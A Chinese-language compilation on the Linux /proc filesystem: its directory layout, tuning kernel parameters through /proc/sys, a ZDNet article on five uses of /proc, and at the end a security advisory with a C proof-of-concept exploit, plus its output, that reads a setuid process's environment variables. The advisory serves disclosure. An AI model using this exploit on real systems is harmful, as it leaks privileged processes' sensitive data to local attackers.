proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的。它的目录结构如下: 目录名称 目录内容 apm 高级电源管理信息 cmdline 内核命令行 Cpuinfo 关于Cpu信息 Devices 可以用到的设备(块设备/字符设备) Dma Used DMS channels Filesystems 支持的文件系统 Interrupts 中断的使用 Ioports I/O端口的使用 Kcore 内核核心印象 Kmsg 内核消息 Ksyms 内核符号表 Loadavg 负载均衡 Locks 内核锁 Meminfo 内存信息 Misc Miscellaneous Modules 加载模块列表 Mounts 加载的文件系统 Partitions 系统识别的分区表 Rtc Real time clock Slabinfo Slab pool info Stat 全面统计状态表s Swaps 对换空间的利用情况 Version 内核版本 Uptime 系统正常运行时间 并不是所有这些目录在你的系统中都有,这取决于你的内核配置和装载的模块。另外,在/proc下还有三个很重要的目录:net,scsi和sys。Sys目录是可写的,可以通过它来访问或修改内核的参数(见下一部分),而net和scsi则依赖于内核配置。例如,如果系统不支持scsi,则scsi目录不存在。 除了以上介绍的这些,还有的是一些以数字命名的目录,它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link。Proc文件系统的名字就是由之而起。进程目录的结构如下: 目录名称 目录内容 Cmdline 命令行参数 Environ 环境变量值 Fd 一个包含所有文件描述符的目录 Mem 进程的内存被利用情况 Stat 进程状态 Status Process status in human readable form Cwd 当前工作目录的链接 Exe Link to the executable of this process Maps 内存印象 Statm 进程内存状态信息 Root 链接此进程的root目录 用户如果要查看系统信息,可以用cat命令。例如: > cat /proc/interrupts CPU0 0: 8728810 XT-PIC timer 1: 895 XT-PIC keyboard 2: 0 XT-PIC cascade 3: 531695 XT-PIC aha152x 4: 2014133 XT-PIC serial 5: 44401 XT-PIC pcnet_cs 8: 2 XT-PIC rtc 11: 8 XT-PIC i82365 12: 182918 XT-PIC Mouse 13: 1 XT-PIC fpu PS/2 14: 1232265 XT-PIC ide0 15: 7 XT-PIC ide1 NMI: 0 2、 修改内核参数 在/proc文件系统中有一个有趣的目录:/proc/sys。它不仅提供了内核信息,而且可以通过它修改内核参数,来优化你的系统。但是你必须很小心,因为可能会造成系统崩溃。最好是先找一台无关紧要的机子,调试成功后再应用到你的系统上。 要改变内核的参数,只要用vi编辑或echo参数重定向到文件中即可。下面有一个例子: # cat /proc/sys/fs/file-max 4096 # echo 8192 > /proc/sys/fs/file-max # cat /proc/sys/fs/file-max 8192 如果你优化了参数,则可以把它们写成脚本文件,使它在系统启动时自动完成修改。
加载 proc 文件系统
为了某些程序的正常运行,必须在虚拟根(chroot)环境中提供proc文件系统。由于一个文件系统可以被无限次的加载(更因为proc是一个虚拟的文件系统),所以不要担心proc文件系统已经在你的主系统里加载过了。
我们把 proc 文件系统加载到/proc 下,命令如下:
你很可能会看到这样的警告:
warning: can't open /etc/fstab: No such file or directory
not enough memory
不用担心,这只是因为我们的系统还不完整,有些文件还没有创建。mount本身是成功的,我们只关心这个。
proc文件系统5大功能 作者: ZDNet China
Thursday, February 12 2004
2:51 PM
在Linux里,你可以使用proc虚拟文件系统来访问各种文件信息,包括当前正在运行的进程和电池状态。Proc文件系统是虚拟的,因为它由内存创建,并于系统更改的时候动态地更新。要获取系统信息的访问权,你应该使用标准文件API,例如fopen,fread,在proc文件系统里读取适当的文件。
开始认真考虑
<script language="JavaScript1.1" src="http://ad.cn.doubleclick.net/adj/messagingplus.zdnet.com.cn/developer/code;sz=1x1;ord=162109481?" type="text/javascript"> </script>
Proc文件系统的一大特点是测试不需要任何的代码。举个例子来说,要获得系统的CPU信息,你只需要这样做:
cat /proc/cpuinfo
得到的输出是这样的:
processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 5 model name : Pentium II (
Deschutes
) stepping : 2 cpu MHz : 300.010 cache size : 512 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpuvme de psetscmsrpaemce cx8 sep mtrrpgemcacmov pat pse36 mmxfxsr bogomips : 598.01
输出结果是易读的,而且很容易在代码中分析。不幸地,不是每种proc文件的格式都一样,因为数据的指令不同,不过它们都是大同小异的。
如果你仔细观察输出,就会发现分析这些字段异常简单。不过,写一个普通proc文件并不是一件容易的事,因为某些字段隔离器可能是另一个proc文件数据的一部分。因此,你需要为每个你需要访问的proc文件专门写一段代码。
虽然输出中的标记行看起来是被空格分隔的,但是实际上它们是被nul字符分隔的。我使用cat命令来显示CPU的信息,cat自动处理内含的nul。不幸地,所有的C库字符串命令不能正确处理,你需要使用memchr这样的命令来处理这些字符串。
下面是你能利用proc文件系统实现的5点非常酷的功能:
1. 进程信息: 对于系统中的任何一个进程来说,在proc的子目录里都有一个同名的进程ID。在这个目录下,你将可以找到以下的条目:cmdline, cwd, environ, exe, fd, maps, mem, root, stat, statm, 以及status。某些信息仅对超级用户账号可见,例如进程根目录。你同样需要超级用户的全县来获取当前的工作目录。到每一个单独的含有现有进程信息的进程有一些可用的专门链接。对于系统里的任何一个进程来说,都有一个单独的自链接指向进程信息。这个的用处之一就是从进程中获取命令行信息。要实现这一目的,使用cmdline文件更加可靠。
2. 高级电源管理(APM)信息: 如果你需要了解电池状态,你也可以从/proc/apm中获得。它包含了一个确定系统在使用AC还是电池、电池的充电程度以及电池的剩余时间的标记。不过,剩余时间的标记看起来不那么准确。
3. CPU信息: 利用cpuinfo文件,你可以获得CPU当前的准确信息。
4. 负载信息: loadavg文件包含了负载信息。负载是系统被使用的程度。它由3个从0到1变化的数字来行量。其中一个是最高利用率,一个是平均利用率,一个是最低利用率。平均值是最有用的。
5. 系统内存信息: meminfo文件包含了系统内存的详细信息。它显示了物理内存的数量,可用交换空间的数量,空闲内存的数量等等。
你需要注意的一点是,所有cat命令显示的空格分割符都是nul分隔符。那么,举个例子,apm文件包含一条单独的空行,它一定是由nul字符组成的。
从proc文件系统中,你能得到许多系统或进程的信息。正因为如此,你必须为相应的信息配置恰当的权限例如,根和cwd目录应该仅有超级用户能够访问。
涉及程序:
Linux /proc 文件系统
描述:
Linux /proc 文件系统信息泄露缺陷
详细:
Linux /proc文件系统在实现上存在问题,本地攻击者可以利用这个漏洞读取 setuid 应用程序的环境变量数据,导致信息泄露。 问题时 Linux /proc 文件系统在调用 setuid 应用程序时存在问题,低权限用户可以获得 SETUID 的环境变量数据,获得敏感信息,如受限文件的路径信息。
攻击方法:
Paul Starzetz ( paul@starzetz.de )提供了如下测试方法: paul@home:~/dev/expl> ./procex parent executing setuid
PING
127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms child reads parent's proc: PWD=/home/paul/.......... Content of /proc/32353 ls: /proc/32353/cwd: Permission denied ls: /proc/32353/root: Permission denied ls: /proc/32353/exe: Permission denied -r--r--r-- 1 root root 0 Jun 20 14:47 cmdline lrwxrwxrwx 1 root root 0 Jun 20 14:47 cwd -r-------- 1 paul users 0 Jun 20 14:47 environ [*] lrwxrwxrwx 1 root root 0 Jun 20 14:47 exe [...] -r--r--r-- 1 root root 0 Jun 20 14:47 status 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms --- 127.0.0.1 ping statistics --- 3 packets transmitted, 3 received, 0% loss, time 1998ms rtt min/avg/max/mdev = 0.060/0.062/0.066/0.007 ms [*] as you can see here the ownership didn't change... /ih Paul Starzetz ( paul@starzetz.de ) 提供了如下测试程序: /**************************************************************** * * * Linux /proc information disclosure PoC * * by IhaQueR * * * ****************************************************************/ #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> static char buf[128]; void fatal(const char *msg) { printf("/n"); if (!errno) { fprintf(stderr, "FATAL: %s/n", msg); } else { perror(msg); } printf("/n"); fflush(stdout); fflush(stderr); exit(129); } int main() { int fd, r; char c; sprintf(buf, "/proc/%d/environ", getpid()); fd = open(buf, O_RDONLY); if (fd > 0) { sprintf(buf, "/proc/%d", getpid()); if (fork()) { printf("/nparent executing setuid/n"); fflush(stdout); execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL); fatal("execl"); } else { sleep(1); printf("/nchild reads parent's proc:/n"); fflush(stdout); while (1) { r = read(fd, &c, 1); if (r <= 0) break; printf("%c", c); } printf("/n/nContent of %s/n", buf); fflush(stdout); execl("/bin/ls", "ls", "-l", buf, NULL); } } else fatal("open proc"); printf("/n"); fflush(stdout); return 0; }